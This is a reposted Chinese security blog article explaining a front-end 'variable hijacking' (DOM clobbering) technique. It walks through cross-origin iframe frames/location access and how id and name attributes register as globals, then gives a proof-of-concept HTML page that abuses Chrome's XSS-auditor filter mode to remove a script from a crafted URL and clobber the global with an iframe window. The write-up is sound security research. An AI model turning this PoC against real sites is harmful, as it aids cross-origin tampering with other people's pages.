前端中存在的变量劫持漏洞
这篇文章中主要讲一个在前端中出现的有意思的变量劫持漏洞。
0x1 基础知识
当页面存在iframe的时候，父页面和子页面是可以相互获取到对方的window对象的,主要利用下面的方法。
(本文不考虑 iframe 的 sandbox 属性,所有测试都是在不添加任何sandbox的限制下进行。)
父访问子:
document.getElementById("iframe1").contentWindow; // 获取iframe的window对象
window.frames[0]; // 获取iframe的window对象
window[0] ; // 这个比较有意思， window 是本页面的window对象，window[0] 是子页面的window对象子访问父：
window.parent; //获取上一级的window对象，如果还是iframe则是该iframe的window对象 window.top ; // 获取最顶级容器的window对象，即，就是你打开页面的文档
如果父和子页面是同源的，那么可以通过这个window对象获取到任何你想获取的内容，包括但是不限于 document,name,location 等。但是在非同源的情况下，iframe的window对象大多数的属性都会被同源策略block掉，但是有两个属性比较特殊。
- frames 可读，但是不可写。 意味着可以读取不同域的子页面里面的iframe的window对象
- location 可写，但是不可读。意味着父子可以相互修改彼此的 location
结合以上两点可以推导出，爷可以修改孙(孙可以修改爷)的location。(父页面可以获取子页面的window对象，然后通过frames获取孙页面的window对象，然后修改location)
爷修改孙，演示如下：
<!-- localhost:80/index.html -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe>
<script>
// CONFIG = "test";
function loaded(x) {
// myframe = window.frames[0];
// myframe.frames[0].location = 'http://www.baidu.com/';
x.contentWindow.frames[0].location = "http://www.baidu.com/";
// console.log(myframe == x.contentWindow);
}
</script>
</body>
</html><!-- localhost:8888/view.html --> <iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>
0x2 重新审视一下 id 属性
我们知道在浏览器中有如下特点，我们定义的所有全局变量，都被存储在window对象中，作为window的属性来被访问的。
下面在console中验证一下：
> content = "i am content storage in window"; < "i am content storage in window" > window.content < "i am content storage in window" > window.content == content < true
同样，我们在页面中定义的具有id属性的dom对象也是作为全局变量存储在 window 中的。
<h1 id="test"></h1>
然后再console里访问一下:
> test < <h1 id="test"></h1> > window.test < <h1 id="test"></h1>
这时候想到一个问题，既然 id 属性会被注册成全局变量，那么它会不会覆盖掉已经存在的全局变量呢？我们写如下的测试代码：
<h1>test</h1>
<h2>test2</h2>
<script>
// CONFIG = "test";
test = "ddd";
document.getElementsByTagName("h1")[0].setAttribute('id',"test");
document.getElementsByTagName("h2")[0].setAttribute('id',"test2");
</script>在console中输入：
> test < "ddd" > test2 > <h2 id="test2">test2</h2>
事实证明无法覆盖已经定义的变量，但是却可以定义新的变量
怎么让页面中出现未定义的全局变量呢？别忘了 chrome 74之后 默认的 xss auditor 从block模式编程了filter模式，可以利用这个删除掉页面中的代码。(此问题文章最后演示)
另外我们知道，如果在页面中定义两个id一样的元素之后，这样使用 document.getElementById 就无法获取到这个id了，但是并不意味着着全局变量就不存在了，看下面这个实验。
<h1 id="test"></h1> <h2 id="test"></h2>
> test < HTMLCollection(2) [h1#test, h2#test, test: h1#test] 0: h1#test 1: h2#test length: 2 test: h1#test __proto__: HTMLCollection
很明显全局变量test还是存在的，是包含两个元素的数组。
0x3 同样道理看一下iframe的name属性
<iframe name="viewer" src="./view.html"></iframe>
在console里验证一下
> viewer
< Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, parent: Window, …}情况差不多，这里的 viewer 是注册在全局变量里的window对象。
但是如果页面中出现两个name相同的iframe，又会是什么情况呢？
<iframe name="test" src="http://B.com/B.html" ></iframe> <iframe name="test" src="http://C.com/C.html" ></iframe>
在console里面输入:
> test
< global {window: global, self: global, location: Location, closed: false, frames: global, …}
> test == document.getElementsByTagName('iframe')[0].contentWindow
< true
> test == document.getElementsByTagName('iframe')[1].contentWindow
< false发现跟id的情况并不相同，这里只有第一个元素，而且仅有第一个元素。
0x4 id 和 name 重复出现时
name在id前面
<iframe name="test" src="http://B.com/B.html" ></iframe> <h1 id="test"></h1>
> test
< global {window: global, self: global, location: Location, closed: false, frames: global, …}id在name前面
<h1 id="test"></h1>
<iframe name="test" src="http://B.com/B.html" ></iframe>> test
< global {window: global, self: global, location: Location, closed: false, frames: global, …}可以发现 name 的优先级是高于 id 的优先级的，无论怎样全局变量里存储的都是 iframe 的 window对象。
0x5 漏洞场景
我们有一个可以控制的域 A.com 中有页面 A.com/A.html , 用iframe加载了 B.com 的域的页面 B.com/B.html 。A.html无法操作B.html页面，因为是不同源的，同时 B.com/B.html 页面用iframe加载了一个新的页面 C.com/C.html 。
此时 B.com/B.html 存在一个未定义的全局变量 (可以是利用chrome的xss auditor的filter模式产生的)，怎么利用？场景用代码描述如下：
<!-- A.com/A.html --> <iframe src="http://B.com/B.html" ></iframe>
<!-- B.com/B.html -->
<iframe src="http://C.com/C.html" ></iframe>
<h1 onclick="test()">click me</h1>
<script>
VUL = "Hijack me";
</script>
<script>
function test(){
// 不能用alert ，alert 会尝试访问 VUL window对象的特有方法，会爆跨域错误
console.log(VUL);
}
</script>利用的poc如下,修改A.html如下：
<script>
function loaded(x){
x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为跟A.com同源，这样在修改此iframe的name的时候就不会被同源策略block
setTimeout(function() {
console.log('setting viewer...');
x.contentWindow.frames[0].name = "VUL"; // 重新定义全局变量
},1000);
}
</script>
<!--
http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E
利用chrome的filter模式去掉 VUL 的定义
-->
<iframe src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>然后访问 A.com/A.html ，就会发现 B.com/B.html 中的 VUL 已经被劫持了。
0x6 结尾
但是好像就算变量劫持了，可以利用的面还是很小啊，只能将一个变量劫持为window对象，期待师傅们一起来挖掘新的利用场景。
转自先知社区
打赏我,让我更有动力~
返回：技术文章投稿区
漏洞文章
